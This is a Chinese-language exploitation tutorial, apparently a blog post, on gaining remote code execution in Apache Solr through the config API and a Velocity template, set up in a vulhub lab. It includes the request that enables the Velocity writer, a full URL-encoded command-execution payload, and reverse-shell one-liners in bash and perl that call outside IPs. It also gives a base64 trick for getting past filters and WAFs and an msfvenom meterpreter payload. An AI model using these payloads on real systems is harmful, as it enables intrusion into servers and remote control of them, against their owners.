前言:
官方的poc、exp payload只能获取很低的命令执行权限,甚至有些符号、命令还被过滤了,例如管道符被过滤。并且不能写入、下载文件,不能使用管道符重定向文件。那么我们只能通过获取到交互式shell来执行理想的命令。
0x01影响范围
Apache Solr 5.x - 8.2.0,存在config API版本
0x02环境搭建
vulhub上有几个apache solr的环境,我们使用vulhub上最新的环境“Apache Solr 远程命令执行漏洞(CVE-2019-0193)”
进入到vulhub目录下的solr漏洞的CVE-2019-0193下,然后执行命令:
docker-compose up -d
一键开启环境,这个环境的solr是8.1.1,那么存在该漏洞。
开启环境后,我们要先创建名为test的core,这才将漏洞环境完整搭好,命令为:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
dokcer ps看一下端口,然后进行http://ip:端口,访问 默认8983端口
0x04漏洞利用
我们要知道目标机的core名称才能进行下一步攻击,例如我们刚刚创建的core名称为test,我们看看 core admin
确定了core名称为test,我们试着访问一下 http://host/solr/test/config
能显示出如下代码那么就没问题,接下来发一个post包(伪造一个post包,可以抓刚刚/solr/test/config的get请求包,然后改成post请求),post数据为:
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
post请求头可为:
POST /solr/test/config HTTP/1.1 Host: 192,168.1.146:8983 Content-Type: application/json Content-Length: 263
基础的参数在就行,也可以加上user-agent
发包,响应包出现200则成功
之后就可以用我们的官方exp的payload:
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
命令执行的地方在exec里面,我标红了的
但是这里不能写入下载文件,就种不了马。我们需要一个交互式的shell。
0x05利用反弹获取交互式shell
一开始一般想到直接使用bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 但是使用之后并不会执行,它直接返回500错误
vps上监听根本没有流量,然后想到将bash反弹脚本写在vps上,然后在目标执行curl ip/bash.sh | bash,然后在vps上监听,但是发现也执行不了,目标直接将脚本里面的命令输出在页面上了:
一般linux都带perl,那么试着用perl反弹命令:
perl -e 'use Socket;$i="167.107.0.1";$p=25555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"167.107.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
共有两条命令,第二条是不依赖/bin/bash的,全都试了试,都不行,报500错误,应该是哪个符号或者哪个命令被禁止执行了。
还试了java反弹,也不行。那么现在这种状态应该只有想到通过绕过执行反弹命令了。
在网上摸取到了一个姿势,将bash命令进行runtime编码,然后再进行url编码即可绕过大部分waf,这里也可以绕过。
当然runtime编码是没有在线的,需要的话要去网上下载源码进行编译执行。
但这里针对bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 这个的话,有一个规律的:
最前面跟上一个bash -c 格式为:bash -c {}|{base64,-d}|{bash,-i} 第一个大括号里面为bash整个反弹命令的base64编码
例如:bash -c {YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
再将runtime后的整个字符串进行url编码转换就行了。
将编码后的反弹命令拿去RCE处进行执行
vps上成功接收到交互式shell。
0x06 利用perl脚本加msf获取交互式shell
msf生成命令:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf
接下来就参考: https://forum.90sec.com/t/topic/579